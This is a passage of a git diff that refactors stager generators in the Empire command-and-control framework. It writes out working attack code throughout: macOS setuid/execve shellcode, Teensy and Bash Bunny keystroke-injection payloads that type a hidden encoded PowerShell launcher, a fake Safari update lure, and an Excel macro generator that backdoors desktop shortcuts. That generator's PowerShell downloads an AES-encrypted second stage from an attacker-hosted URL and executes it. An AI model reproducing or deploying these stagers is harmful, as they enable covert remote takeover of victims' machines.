app_name == "": + app_name = "Update" + disarm = True + launcher_code = removeprefix(launcher, "echo ") + launcher_code = removesuffix(launcher_code, " | python3 &") + launcher_code = launcher_code.strip('"') + application_zip = self.mainMenu.stagers.generate_appbundle( + launcherCode=launcher_code, + Arch=arch, + icon=icns_path, + AppName=app_name, + disarm=disarm, + ) + return self.mainMenu.stagers.generate_pkg( + launcher=launcher, bundleZip=application_zip, AppName=app_name + ) diff --git a/empire/server/stagers/osx/safari_launcher.py b/empire/server/stagers/osx/safari_launcher.py index 26ca1a918..5ba892b68 100644 --- a/empire/server/stagers/osx/safari_launcher.py +++ b/empire/server/stagers/osx/safari_launcher.py @@ -85,9 +85,9 @@ def generate(self): if launcher == "": print(helpers.color("[!] Error in launcher command generation.")) return "" - else: - launcher = launcher.replace("'", "\\'") - launcher = launcher.replace('"', '\\\\"') + + launcher = launcher.replace("'", "\\'") + launcher = launcher.replace('"', '\\\\"') return f"""

Safari requires an update. Press cmd-R to refresh. Make sure to press the play button on the script box to begin the update

diff --git a/empire/server/stagers/osx/shellcode.py b/empire/server/stagers/osx/shellcode.py index 4bb49efeb..31b9f9aa2 100644 --- a/empire/server/stagers/osx/shellcode.py +++ b/empire/server/stagers/osx/shellcode.py @@ -75,84 +75,83 @@ def generate(self): # not a valid listener, return nothing for the script print(helpers.color("[!] Invalid listener: " + listener_name)) return "" + + # generate launcher code + launcher = self.mainMenu.stagers.generate_launcher( + listenerName=listener_name, + language=language, + encode=True, + userAgent=user_agent, + safeChecks=safe_checks, + ) + if launcher == "": + print(helpers.color("[!] Error in launcher command generation.")) + return "" + if arch.lower() == "x86": + sc = ( + # 0x17: int setuid(uid_t uid) + "\x31\xdb" # xor ebx, ebx ; Zero out ebx + "\x53" # push ebx ; Set uid_t uid (NULL) + "\x53" # push ebx ; Align stack (8) + "\x31\xc0" # xor eax, eax ; Zero out eax + "\xb0\x17" # mov al, 0x17 ; Prepare sys_setuid + "\xcd\x80" # int 0x80 ; Call sys_setuid + "\x83\xc4\x08" # add esp, 8 ; Fix stack (args) + # 0x3b: int execve(const char *path, char *const argv[], char *const envp[]) + "\x53" # push ebx ; Terminate pointer array + "\xeb\x2c" # jmp get_payload ; Retrieve pointer to payload + # got_payload: + "\xe8\x03\x00\x00\x00" # call cmd_get_param_1 ; Push pointer to "-c", 0x00 + "\x2d\x63\x00" # db "-c", 0x00 + # cmd_get_param_1: + "\xe8\x08\x00\x00\x00" # call cmd_get_param_0 ; Push pointer to "/bin/sh", 0x00 + "\x2f\x62\x69\x6e" # db "/bin" + "\x2f\x73\x68\x00" # db "/sh", 0x00 + # cmd_get_param_0: + "\x8b\x0c\x24" # mov ecx, [esp] ; Save pointer to "/bin/sh", 0x00 + "\x89\xe2" # mov edx, esp ; Prepare args + "\x53" # push ebx ; Set char *const envp[] (NULL) + "\x52" # push edx ; Set char *const argv[] ({"/bin/sh", "-c", cmd, NULL}) + "\x51" # push ecx ; Set const char *path ("/bin/sh", 0x00) + "\x53" # push ebx ; Align stack (16) + "\x31\xc0" # xor eax, eax ; Zero out eax + "\xb0\x3b" # mov al, 0x3b ; Prepare sys_execve + "\xcd\x80" # int 0x80 ; Call sys_execve + "\x83\xc4\x20" # add esp, 32 ; Fix stack (args, array[4]) + # 0x01: void exit(int status) + "\x31\xc0" # xor eax, eax ; Zero out eax + "\x40" # inc eax ; Prepare sys_exit + "\xcd\x80" # int 0x80 ; Call sys_exit + # get_payload: + "\xe8\xcf\xff\xff\xff" # call got_payload ; Push pointer to payload + ) else: - # generate launcher code - launcher = self.mainMenu.stagers.generate_launcher( - listenerName=listener_name, - language=language, - encode=True, - userAgent=user_agent, - safeChecks=safe_checks, + sc = ( + # 0x2000017: int setuid(uid_t uid) + "\x48\x31\xff" # xor rdi, rdi ; Set uid_t uid (NULL) + "\x48\xc7\xc0\x17\x00\x00\x02" # mov rax, 0x2000017 ; Prepare sys_setuid + "\x0f\x05" # syscall ; Call sys_setuid + # 0x200003b: int execve(const char *path, char *const argv[], char *const envp[]) + "\x48\x31\xd2" # xor rdx, rdx ; Set char *const envp[] (NULL) + "\x52" # push rdx ; Terminate pointer array + "\xeb\x32" # jmp get_payload ; Retrieve pointer to payload + # got_payload: + "\xe8\x03\x00\x00\x00" # call cmd_get_param_1 ; Push pointer to "-c", 0x00 + "\x2d\x63\x00" # db "-c", 0x00 + # cmd_get_param_1: + "\xe8\x08\x00\x00\x00" # call cmd_get_param_0 ; Push pointer to "/bin/sh", 0x00 + "\x2f\x62\x69\x6e" # db "/bin" + "\x2f\x73\x68\x00" # db "/sh", 0x00 + # cmd_get_param_0: + "\x48\x8b\x3c\x24" # mov rdi, [rsp] ; Set const char *path ("/bin/sh", 0x00) + "\x48\x89\xe6" # mov rsi, rsp ; Set char *const argv[] ({"/bin/sh", "-c", cmd, NULL}) + "\x48\xc7\xc0\x3b\x00\x00\x02" # mov rax, 0x200003b ; Prepare sys_execve + "\x0f\x05" # syscall ; Call sys_execve + "\x48\x83\xc4\x20" # add rsp, 32 ; Fix stack (array[4]) + # 0x2000001: void exit(int status) + "\x48\xc7\xc0\x01\x00\x00\x02" # mov rax, 0x2000001 ; Prepare sys_exit + "\x0f\x05" # syscall ; Call sys_exit + # get_payload: + "\xe8\xc9\xff\xff\xff" # call got_payload ; Push pointer to payload ) - sc = "" - if launcher == "": - print(helpers.color("[!] Error in launcher command generation.")) - return "" - elif arch.lower() == "x86": - sc = ( - # 0x17: int setuid(uid_t uid) - "\x31\xdb" # xor ebx, ebx ; Zero out ebx - "\x53" # push ebx ; Set uid_t uid (NULL) - "\x53" # push ebx ; Align stack (8) - "\x31\xc0" # xor eax, eax ; Zero out eax - "\xb0\x17" # mov al, 0x17 ; Prepare sys_setuid - "\xcd\x80" # int 0x80 ; Call sys_setuid - "\x83\xc4\x08" # add esp, 8 ; Fix stack (args) - # 0x3b: int execve(const char *path, char *const argv[], char *const envp[]) - "\x53" # push ebx ; Terminate pointer array - "\xeb\x2c" # jmp get_payload ; Retrieve pointer to payload - # got_payload: - "\xe8\x03\x00\x00\x00" # call cmd_get_param_1 ; Push pointer to "-c", 0x00 - "\x2d\x63\x00" # db "-c", 0x00 - # cmd_get_param_1: - "\xe8\x08\x00\x00\x00" # call cmd_get_param_0 ; Push pointer to "/bin/sh", 0x00 - "\x2f\x62\x69\x6e" # db "/bin" - "\x2f\x73\x68\x00" # db "/sh", 0x00 - # cmd_get_param_0: - "\x8b\x0c\x24" # mov ecx, [esp] ; Save pointer to "/bin/sh", 0x00 - "\x89\xe2" # mov edx, esp ; Prepare args - "\x53" # push ebx ; Set char *const envp[] (NULL) - "\x52" # push edx ; Set char *const argv[] ({"/bin/sh", "-c", cmd, NULL}) - "\x51" # push ecx ; Set const char *path ("/bin/sh", 0x00) - "\x53" # push ebx ; Align stack (16) - "\x31\xc0" # xor eax, eax ; Zero out eax - "\xb0\x3b" # mov al, 0x3b ; Prepare sys_execve - "\xcd\x80" # int 0x80 ; Call sys_execve - "\x83\xc4\x20" # add esp, 32 ; Fix stack (args, array[4]) - # 0x01: void exit(int status) - "\x31\xc0" # xor eax, eax ; Zero out eax - "\x40" # inc eax ; Prepare sys_exit - "\xcd\x80" # int 0x80 ; Call sys_exit - # get_payload: - "\xe8\xcf\xff\xff\xff" # call got_payload ; Push pointer to payload - ) - else: - sc = ( - # 0x2000017: int setuid(uid_t uid) - "\x48\x31\xff" # xor rdi, rdi ; Set uid_t uid (NULL) - "\x48\xc7\xc0\x17\x00\x00\x02" # mov rax, 0x2000017 ; Prepare sys_setuid - "\x0f\x05" # syscall ; Call sys_setuid - # 0x200003b: int execve(const char *path, char *const argv[], char *const envp[]) - "\x48\x31\xd2" # xor rdx, rdx ; Set char *const envp[] (NULL) - "\x52" # push rdx ; Terminate pointer array - "\xeb\x32" # jmp get_payload ; Retrieve pointer to payload - # got_payload: - "\xe8\x03\x00\x00\x00" # call cmd_get_param_1 ; Push pointer to "-c", 0x00 - "\x2d\x63\x00" # db "-c", 0x00 - # cmd_get_param_1: - "\xe8\x08\x00\x00\x00" # call cmd_get_param_0 ; Push pointer to "/bin/sh", 0x00 - "\x2f\x62\x69\x6e" # db "/bin" - "\x2f\x73\x68\x00" # db "/sh", 0x00 - # cmd_get_param_0: - "\x48\x8b\x3c\x24" # mov rdi, [rsp] ; Set const char *path ("/bin/sh", 0x00) - "\x48\x89\xe6" # mov rsi, rsp ; Set char *const argv[] ({"/bin/sh", "-c", cmd, NULL}) - "\x48\xc7\xc0\x3b\x00\x00\x02" # mov rax, 0x200003b ; Prepare sys_execve - "\x0f\x05" # syscall ; Call sys_execve - "\x48\x83\xc4\x20" # add rsp, 32 ; Fix stack (array[4]) - # 0x2000001: void exit(int status) - "\x48\xc7\xc0\x01\x00\x00\x02" # mov rax, 0x2000001 ; Prepare sys_exit - "\x0f\x05" # syscall ; Call sys_exit - # get_payload: - "\xe8\xc9\xff\xff\xff" # call got_payload ; Push pointer to payload - ) - return sc + launcher + "\x00" + return sc + launcher + "\x00" diff --git a/empire/server/stagers/osx/teensy.py b/empire/server/stagers/osx/teensy.py index ee9f062e8..6fb6242b2 100644 --- a/empire/server/stagers/osx/teensy.py +++ b/empire/server/stagers/osx/teensy.py @@ -76,69 +76,68 @@ def generate(self): print(helpers.color("[!] Error in launcher command generation.")) return "" - else: - launcher = launcher.replace('"', '\\"') + launcher = launcher.replace('"', '\\"') - teensy_code = "void clearKeys (){\n" - teensy_code += " delay(200);\n" - teensy_code += " Keyboard.set_key1(0);\n" - teensy_code += " Keyboard.set_key2(0);\n" - teensy_code += " Keyboard.set_key3(0);\n" - teensy_code += " Keyboard.set_key4(0);\n" - teensy_code += " Keyboard.set_key5(0);\n" - teensy_code += " Keyboard.set_key6(0);\n" - teensy_code += " Keyboard.set_modifier(0);\n" - teensy_code += " Keyboard.send_now();\n" - teensy_code += "}\n\n" - teensy_code += "void mac_minWindows(void) {\n" - teensy_code += " delay(200);\n" - teensy_code += " Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI);\n" - teensy_code += " Keyboard.send_now();\n" - teensy_code += ( - " Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI | MODIFIERKEY_ALT);\n" - ) - teensy_code += " Keyboard.send_now();\n" - teensy_code += " Keyboard.set_key1(KEY_H);\n" - teensy_code += " Keyboard.set_key2(KEY_M);\n" - teensy_code += " Keyboard.send_now();\n" - teensy_code += " clearKeys();\n" - teensy_code += "}\n\n" - teensy_code += "void mac_openSpotlight(void) {\n" - teensy_code += " Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI);\n" - teensy_code += " Keyboard.set_key1(KEY_SPACE);\n" - teensy_code += " Keyboard.send_now();\n" - teensy_code += " clearKeys();\n" - teensy_code += "}\n\n" - teensy_code += "void mac_openTerminal(void) {\n" - teensy_code += " delay(200);\n" - teensy_code += ' Keyboard.print("Terminal");\n' - teensy_code += " delay(500);\n" - teensy_code += " Keyboard.set_key1(KEY_ENTER);\n" - teensy_code += " Keyboard.send_now();\n" - teensy_code += " clearKeys();\n" - teensy_code += " Keyboard.set_modifier(MODIFIERKEY_GUI);\n" - teensy_code += " Keyboard.set_key1(KEY_N);\n" - teensy_code += " Keyboard.send_now();\n" - teensy_code += " clearKeys();\n" - teensy_code += "}\n\n" - teensy_code += "void empire(void) {\n" - teensy_code += " delay(500);\n" - teensy_code += " mac_minWindows();\n" - teensy_code += " mac_minWindows();\n" - teensy_code += " delay(500);\n" - teensy_code += " mac_openSpotlight();\n" - teensy_code += " mac_openTerminal();\n" - teensy_code += " delay(2500);\n" - teensy_code += ' Keyboard.print("' + launcher + '");\n' - teensy_code += " Keyboard.set_key1(KEY_ENTER);\n" - teensy_code += " Keyboard.send_now();\n" - teensy_code += " clearKeys();\n" - teensy_code += " delay(1000);\n" - teensy_code += ' Keyboard.println("exit");\n' - teensy_code += "}\n\n" - teensy_code += "void setup(void) {\n" - teensy_code += " empire();\n" - teensy_code += "}\n\n" - teensy_code += "void loop() {}" + teensy_code = "void clearKeys (){\n" + teensy_code += " delay(200);\n" + teensy_code += " Keyboard.set_key1(0);\n" + teensy_code += " Keyboard.set_key2(0);\n" + teensy_code += " Keyboard.set_key3(0);\n" + teensy_code += " Keyboard.set_key4(0);\n" + teensy_code += " Keyboard.set_key5(0);\n" + teensy_code += " Keyboard.set_key6(0);\n" + teensy_code += " Keyboard.set_modifier(0);\n" + teensy_code += " Keyboard.send_now();\n" + teensy_code += "}\n\n" + teensy_code += "void mac_minWindows(void) {\n" + teensy_code += " delay(200);\n" + teensy_code += " Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI);\n" + teensy_code += " Keyboard.send_now();\n" + teensy_code += ( + " Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI | MODIFIERKEY_ALT);\n" + ) + teensy_code += " Keyboard.send_now();\n" + teensy_code += " Keyboard.set_key1(KEY_H);\n" + teensy_code += " Keyboard.set_key2(KEY_M);\n" + teensy_code += " Keyboard.send_now();\n" + teensy_code += " clearKeys();\n" + teensy_code += "}\n\n" + teensy_code += "void mac_openSpotlight(void) {\n" + teensy_code += " Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI);\n" + teensy_code += " Keyboard.set_key1(KEY_SPACE);\n" + teensy_code += " Keyboard.send_now();\n" + teensy_code += " clearKeys();\n" + teensy_code += "}\n\n" + teensy_code += "void mac_openTerminal(void) {\n" + teensy_code += " delay(200);\n" + teensy_code += ' Keyboard.print("Terminal");\n' + teensy_code += " delay(500);\n" + teensy_code += " Keyboard.set_key1(KEY_ENTER);\n" + teensy_code += " Keyboard.send_now();\n" + teensy_code += " clearKeys();\n" + teensy_code += " Keyboard.set_modifier(MODIFIERKEY_GUI);\n" + teensy_code += " Keyboard.set_key1(KEY_N);\n" + teensy_code += " Keyboard.send_now();\n" + teensy_code += " clearKeys();\n" + teensy_code += "}\n\n" + teensy_code += "void empire(void) {\n" + teensy_code += " delay(500);\n" + teensy_code += " mac_minWindows();\n" + teensy_code += " mac_minWindows();\n" + teensy_code += " delay(500);\n" + teensy_code += " mac_openSpotlight();\n" + teensy_code += " mac_openTerminal();\n" + teensy_code += " delay(2500);\n" + teensy_code += ' Keyboard.print("' + launcher + '");\n' + teensy_code += " Keyboard.set_key1(KEY_ENTER);\n" + teensy_code += " Keyboard.send_now();\n" + teensy_code += " clearKeys();\n" + teensy_code += " delay(1000);\n" + teensy_code += ' Keyboard.println("exit");\n' + teensy_code += "}\n\n" + teensy_code += "void setup(void) {\n" + teensy_code += " empire();\n" + teensy_code += "}\n\n" + teensy_code += "void loop() {}" - return teensy_code + return teensy_code diff --git a/empire/server/stagers/windows/backdoorLnkMacro.py b/empire/server/stagers/windows/backdoorLnkMacro.py index fbedc2891..f39992ce2 100755 --- a/empire/server/stagers/windows/backdoorLnkMacro.py +++ b/empire/server/stagers/windows/backdoorLnkMacro.py @@ -281,201 +281,201 @@ def generate(self): if launcher == "": log.error("[!] Error in launcher command generation.") return "" - else: - try: - reader = xlrd.open_workbook(xls_out) - work_book = copy(reader) - active_sheet = work_book.get_sheet(0) - except OSError: - work_book = Workbook() - active_sheet = work_book.add_sheet("Sheet1") - - # sets initial coords for writing data to - input_row = random.randint(50, 70) - input_col = random.randint(40, 60) - - # build out the macro - first take all strings that would normally go into the macro and place them into random cells, which we then reference in our macro - macro = "Sub Auto_Close()\n" - - active_sheet.write(input_row, input_col, "Wscript.shell") - macro += ( - "Set " - + shell_var - + ' = CreateObject(activeSheet.Range("' - + self.coordsToCell(input_row, input_col) - + '").value)\n' - ) - input_col = input_col + random.randint(1, 4) - active_sheet.write( - input_row, - input_col, - "Scripting.FileSystemObject", - ) - macro += ( - "Set " - + fso_var - + ' = CreateObject(activeSheet.Range("' - + self.coordsToCell(input_row, input_col) - + '").value)\n' - ) - input_col = input_col + random.randint(1, 4) + try: + reader = xlrd.open_workbook(xls_out) + work_book = copy(reader) + active_sheet = work_book.get_sheet(0) + except OSError: + work_book = Workbook() + active_sheet = work_book.add_sheet("Sheet1") + + # sets initial coords for writing data to + input_row = random.randint(50, 70) + input_col = random.randint(40, 60) + + # build out the macro - first take all strings that would normally go into the macro and place them into random cells, which we then reference in our macro + macro = "Sub Auto_Close()\n" + + active_sheet.write(input_row, input_col, "Wscript.shell") + macro += ( + "Set " + + shell_var + + ' = CreateObject(activeSheet.Range("' + + self.coordsToCell(input_row, input_col) + + '").value)\n' + ) + input_col = input_col + random.randint(1, 4) - active_sheet.write(input_row, input_col, "desktop") - macro += ( - "Set " - + folder_var - + " = " - + fso_var - + ".GetFolder(" - + shell_var - + '.SpecialFolders(activeSheet.Range("' - + self.coordsToCell(input_row, input_col) - + '").value))\n' - ) - macro += "For Each " + file_var + " In " + folder_var + ".Files\n" + active_sheet.write( + input_row, + input_col, + "Scripting.FileSystemObject", + ) + macro += ( + "Set " + + fso_var + + ' = CreateObject(activeSheet.Range("' + + self.coordsToCell(input_row, input_col) + + '").value)\n' + ) + input_col = input_col + random.randint(1, 4) + + active_sheet.write(input_row, input_col, "desktop") + macro += ( + "Set " + + folder_var + + " = " + + fso_var + + ".GetFolder(" + + shell_var + + '.SpecialFolders(activeSheet.Range("' + + self.coordsToCell(input_row, input_col) + + '").value))\n' + ) + macro += "For Each " + file_var + " In " + folder_var + ".Files\n" + + macro += "If(InStr(Lcase(" + file_var + '), ".lnk")) Then\n' + macro += ( + "Set " + + lnk_var + + " = " + + shell_var + + ".CreateShortcut(" + + shell_var + + '.SPecialFolders(activeSheet.Range("' + + self.coordsToCell(input_row, input_col) + + '").value) & "\\" & ' + + file_var + + ".name)\n" + ) + input_col = input_col + random.randint(1, 4) - macro += "If(InStr(Lcase(" + file_var + '), ".lnk")) Then\n' + macro += "If(" + for i, _item in enumerate(target_exe): + if i: + macro += " or " + active_sheet.write(input_row, input_col, _item.strip().lower() + ".") macro += ( - "Set " + "InStr(Lcase(" + lnk_var - + " = " - + shell_var - + ".CreateShortcut(" - + shell_var - + '.SPecialFolders(activeSheet.Range("' + + '.targetPath), activeSheet.Range("' + self.coordsToCell(input_row, input_col) - + '").value) & "\\" & ' - + file_var - + ".name)\n" + + '").value)' ) input_col = input_col + random.randint(1, 4) + macro += ") Then\n" + # launchString contains the code that will get insterted into the backdoored .lnk files, it will first launch the original target exe, then clean up all backdoors on the desktop. After cleanup is completed it will check the current date, if it is prior to the killdate the second stage will then be downloaded from the webserver selected during macro generation, and then decrypted using the key and iv created during this same process. This code is then executed to gain a full agent on the remote system. + launch_string1 = "hidden -nop -c \"Start('" + launch_string2 = r");$u=New-Object -comObject wscript.shell;gci -Pa $env:USERPROFILE\desktop -Fi *.lnk|%{$l=$u.createShortcut($_.FullName);if($l.arguments-like'*xml.xmldocument*'){$s=$l.arguments.IndexOf('''')+1;$r=$l.arguments.Substring($s, $l.arguments.IndexOf('''',$s)-$s);$l.targetPath=$r;$l.Arguments='';$l.Save()}};$b=New-Object System.Xml.XmlDocument;if([int](get-date -U " + launch_string3 = ( + ") -le " + + str(kill_date[2]) + + str(kill_date[0]) + + str(kill_date[1]) + + "){$b.Load('" + ) + launch_string4 = ( + "');$a=New-Object 'Security.Cryptography.AesManaged';$a.IV=(" + + str(enc_iv) + + ".." + + str(enc_iv + 15) + + ");$a.key=[text.encoding]::UTF8.getBytes('" + ) + launch_string5 = "');$by=[System.Convert]::FromBase64String($b.main);[Text.Encoding]::UTF8.GetString($a.CreateDecryptor().TransformFinalBlock($by,0,$by.Length)).substring(16)|iex}\"" + + # part of the macro that actually modifies the LNK files on the desktop, sets icon location for updated lnk to the old targetpath, args to our launch code, and target to powershell so we can do a direct call to it + macro += lnk_var + ".IconLocation = " + lnk_var + ".targetpath\n" + launch_string_sum = ( + launch_string2 + + "'%Y%m%d'" + + launch_string3 + + xml_path + + launch_string4 + + enc_key + + launch_string5 + ) - macro += "If(" - for i, _item in enumerate(target_exe): - if i: - macro += " or " - active_sheet.write(input_row, input_col, _item.strip().lower() + ".") - macro += ( - "InStr(Lcase(" - + lnk_var - + '.targetPath), activeSheet.Range("' - + self.coordsToCell(input_row, input_col) - + '").value)' - ) - input_col = input_col + random.randint(1, 4) - macro += ") Then\n" - # launchString contains the code that will get insterted into the backdoored .lnk files, it will first launch the original target exe, then clean up all backdoors on the desktop. After cleanup is completed it will check the current date, if it is prior to the killdate the second stage will then be downloaded from the webserver selected during macro generation, and then decrypted using the key and iv created during this same process. This code is then executed to gain a full agent on the remote system. - launch_string1 = "hidden -nop -c \"Start('" - launch_string2 = r");$u=New-Object -comObject wscript.shell;gci -Pa $env:USERPROFILE\desktop -Fi *.lnk|%{$l=$u.createShortcut($_.FullName);if($l.arguments-like'*xml.xmldocument*'){$s=$l.arguments.IndexOf('''')+1;$r=$l.arguments.Substring($s, $l.arguments.IndexOf('''',$s)-$s);$l.targetPath=$r;$l.Arguments='';$l.Save()}};$b=New-Object System.Xml.XmlDocument;if([int](get-date -U " - launch_string3 = ( - ") -le " - + str(kill_date[2]) - + str(kill_date[0]) - + str(kill_date[1]) - + "){$b.Load('" - ) - launch_string4 = ( - "');$a=New-Object 'Security.Cryptography.AesManaged';$a.IV=(" - + str(enc_iv) - + ".." - + str(enc_iv + 15) - + ");$a.key=[text.encoding]::UTF8.getBytes('" - ) - launch_string5 = "');$by=[System.Convert]::FromBase64String($b.main);[Text.Encoding]::UTF8.GetString($a.CreateDecryptor().TransformFinalBlock($by,0,$by.Length)).substring(16)|iex}\"" - - # part of the macro that actually modifies the LNK files on the desktop, sets icon location for updated lnk to the old targetpath, args to our launch code, and target to powershell so we can do a direct call to it - macro += lnk_var + ".IconLocation = " + lnk_var + ".targetpath\n" - launch_string_sum = ( - launch_string2 - + "'%Y%m%d'" - + launch_string3 - + xml_path - + launch_string4 - + enc_key - + launch_string5 - ) + active_sheet.write(input_row, input_col, launch_string1) + launch1_coords = self.coordsToCell(input_row, input_col) + input_col = input_col + random.randint(1, 4) + active_sheet.write(input_row, input_col, launch_string_sum) + launch_sum_coords = self.coordsToCell(input_row, input_col) + input_col = input_col + random.randint(1, 4) + + macro += ( + lnk_var + + '.arguments = "-w " & activeSheet.Range("' + + launch1_coords + + '").Value & ' + + lnk_var + + ".targetPath" + + ' & "\'" & activeSheet.Range("' + + launch_sum_coords + + '").Value' + + "\n" + ) - active_sheet.write(input_row, input_col, launch_string1) - launch1_coords = self.coordsToCell(input_row, input_col) - input_col = input_col + random.randint(1, 4) - active_sheet.write(input_row, input_col, launch_string_sum) - launch_sum_coords = self.coordsToCell(input_row, input_col) - input_col = input_col + random.randint(1, 4) + active_sheet.write( + input_row, + input_col, + ":\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", + ) + macro += ( + lnk_var + + '.targetpath = left(CurDir, InStr(CurDir, ":")-1) & activeSheet.Range("' + + self.coordsToCell(input_row, input_col) + + '").value\n' + ) + input_col = input_col + random.randint(1, 4) + # macro will not write backdoored lnk file if resulting args will be > 1024 length (max arg length) - this is to avoid an incomplete statement that results in a powershell error on run, which causes no execution of any programs and no cleanup of backdoors + macro += "if(Len(" + lnk_var + ".arguments) < 1023) Then\n" + macro += lnk_var + ".save\n" + macro += "end if\n" + macro += "end if\n" + macro += "end if\n" + macro += "next " + file_var + "\n" + macro += "End Sub\n" + active_sheet.row(input_row).hidden = True + log.info("Writing xls...") + work_book.save(xls_out) + log.info( + "xls written to " + + xls_out + + " please remember to add macro code to xls prior to use" + ) - macro += ( - lnk_var - + '.arguments = "-w " & activeSheet.Range("' - + launch1_coords - + '").Value & ' - + lnk_var - + ".targetPath" - + ' & "\'" & activeSheet.Range("' - + launch_sum_coords - + '").Value' - + "\n" - ) + # encrypt the second stage code that will be dropped into the XML - this is the full empire stager that gets pulled once the user clicks on the backdoored shortcut + iv_buf = b"" + for z in range(0, 16): + iv = enc_iv + z + iv = iv.to_bytes(1, byteorder="big") + iv_buf = b"".join([iv_buf, iv]) - active_sheet.write( - input_row, - input_col, - ":\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", - ) - macro += ( - lnk_var - + '.targetpath = left(CurDir, InStr(CurDir, ":")-1) & activeSheet.Range("' - + self.coordsToCell(input_row, input_col) - + '").value\n' - ) - input_col = input_col + random.randint(1, 4) - # macro will not write backdoored lnk file if resulting args will be > 1024 length (max arg length) - this is to avoid an incomplete statement that results in a powershell error on run, which causes no execution of any programs and no cleanup of backdoors - macro += "if(Len(" + lnk_var + ".arguments) < 1023) Then\n" - macro += lnk_var + ".save\n" - macro += "end if\n" - macro += "end if\n" - macro += "end if\n" - macro += "next " + file_var + "\n" - macro += "End Sub\n" - active_sheet.row(input_row).hidden = True - log.info("Writing xls...") - work_book.save(xls_out) - log.info( - "xls written to " - + xls_out - + " please remember to add macro code to xls prior to use" - ) + encryptor = AES.new(enc_key.encode("UTF-8"), AES.MODE_CBC, iv_buf) - # encrypt the second stage code that will be dropped into the XML - this is the full empire stager that gets pulled once the user clicks on the backdoored shortcut - iv_buf = b"" - for z in range(0, 16): - iv = enc_iv + z - iv = iv.to_bytes(1, byteorder="big") - iv_buf = b"".join([iv_buf, iv]) - - encryptor = AES.new(enc_key.encode("UTF-8"), AES.MODE_CBC, iv_buf) - - # pkcs7 padding - aes standard on Windows - if this padding mechanism is used we do not need to define padding in our macro code, saving space - padding = 16 - (len(launcher) % 16) - if padding == 0: - launcher = launcher + ("\x00" * 16) - else: - launcher = launcher + (chr(padding) * padding) - - cipher_text = encryptor.encrypt(launcher.encode("UTF-8")) - cipher_text = helpers.encode_base64(b"".join([iv_buf, cipher_text])) - - # write XML to disk - log.info("Writing xml...") - with open(xml_out, "wb") as file_write: - file_write.write(b'\n') - file_write.write(b"
") - file_write.write(cipher_text) - file_write.write(b"
\n") - log.info( - "xml written to " - + xml_out - + " please remember this file must be accessible by the target at this url: " - + xml_path - ) + # pkcs7 padding - aes standard on Windows - if this padding mechanism is used we do not need to define padding in our macro code, saving space + padding = 16 - (len(launcher) % 16) + if padding == 0: + launcher = launcher + ("\x00" * 16) + else: + launcher = launcher + (chr(padding) * padding) + + cipher_text = encryptor.encrypt(launcher.encode("UTF-8")) + cipher_text = helpers.encode_base64(b"".join([iv_buf, cipher_text])) + + # write XML to disk + log.info("Writing xml...") + with open(xml_out, "wb") as file_write: + file_write.write(b'\n') + file_write.write(b"
") + file_write.write(cipher_text) + file_write.write(b"
\n") + log.info( + "xml written to " + + xml_out + + " please remember this file must be accessible by the target at this url: " + + xml_path + ) - return macro + return macro diff --git a/empire/server/stagers/windows/bunny.py b/empire/server/stagers/windows/bunny.py index db20e1001..076f51b02 100755 --- a/empire/server/stagers/windows/bunny.py +++ b/empire/server/stagers/windows/bunny.py @@ -157,20 +157,20 @@ def generate(self): if launcher == "": print(helpers.color("[!] Error in launcher command generation.")) return "" - else: - enc = launcher.split(" ")[-1] - bunny_code = "#!/bin/bash\n" - bunny_code += "LED R G\n" - bunny_code += "source bunny_helpers.sh\n" - bunny_code += "ATTACKMODE HID\n" - if keyboard != "": - bunny_code += "Q SET_LANGUAGE " + keyboard + "\n" - bunny_code += "Q DELAY 500\n" - bunny_code += "Q GUI r\n" - bunny_code += "Q STRING " + interpreter + "\n" - bunny_code += "Q ENTER\n" - bunny_code += "Q DELAY 500\n" - bunny_code += "Q STRING powershell -W Hidden -nop -noni -enc " + enc + "\n" - bunny_code += "Q ENTER\n" - bunny_code += "LED R G B 200\n" - return bunny_code + + enc = launcher.split(" ")[-1] + bunny_code = "#!/bin/bash\n" + bunny_code += "LED R G\n" + bunny_code += "source bunny_helpers.sh\n" + bunny_code += "ATTACKMODE HID\n" + if keyboard != "": + bunny_code += "Q SET_LANGUAGE " + keyboard + "\n" + bunny_code += "Q DELAY 500\n" + bunny_code += "Q GUI r\n" + bunny_code += "Q STRING " + interpreter + "\n" + bunny_code += "Q ENTER\n" + bunny_code += "Q DELAY 500\n" + bunny_code += "Q STRING powershell -W Hidden -nop -noni -enc " + enc + "\n" + bunny_code += "Q ENTER\n" + bunny_code += "LED R G B 200\n" + return bunny_code diff --git a/empire/server/stagers/windows/csharp_exe.py b/empire/server/stagers/windows/csharp_exe.py index d54cf7328..59960768f 100755 --- a/empire/server/stagers/windows/csharp_exe.py +++ b/empire/server/stagers/windows/csharp_exe.py @@ -142,7 +142,7 @@ def generate(self): if launcher == "": return "[!] Error in launcher generation." - elif not launcher or launcher.lower() == "failed": + if not launcher or launcher.lower() == "failed": return "[!] Error in launcher command generation." if language.lower() == "powershell": diff --git a/empire/server/stagers/windows/dll.py b/empire/server/stagers/windows/dll.py index c7a2afd40..d0ada78ca 100644 --- a/empire/server/stagers/windows/dll.py +++ b/empire/server/stagers/windows/dll.py @@ -106,55 +106,55 @@ def generate(self): # not a valid listener, return nothing for the script log.error(f"[!] Invalid listener: {listener_name}") return "" - else: - obfuscate_script = False - if obfuscate.lower() == "true": - obfuscate_script = True - if obfuscate_script and "launcher" in obfuscate_command.lower(): + obfuscate_script = False + if obfuscate.lower() == "true": + obfuscate_script = True + + if obfuscate_script and "launcher" in obfuscate_command.lower(): + log.error( + "If using obfuscation, LAUNCHER obfuscation cannot be used in the dll stager." + ) + return "" + + if language in ["csharp", "ironpython"]: + if ( + self.mainMenu.listenersv2.get_active_listener_by_name( + listener_name + ).info["Name"] + != "HTTP[S]" + ): log.error( - "If using obfuscation, LAUNCHER obfuscation cannot be used in the dll stager." + "Only HTTP[S] listeners are supported for C# and IronPython stagers." ) return "" - if language in ["csharp", "ironpython"]: - if ( - self.mainMenu.listenersv2.get_active_listener_by_name( - listener_name - ).info["Name"] - != "HTTP[S]" - ): - log.error( - "Only HTTP[S] listeners are supported for C# and IronPython stagers." - ) - return "" - - launcher = self.mainMenu.stagers.generate_exe_oneliner( - 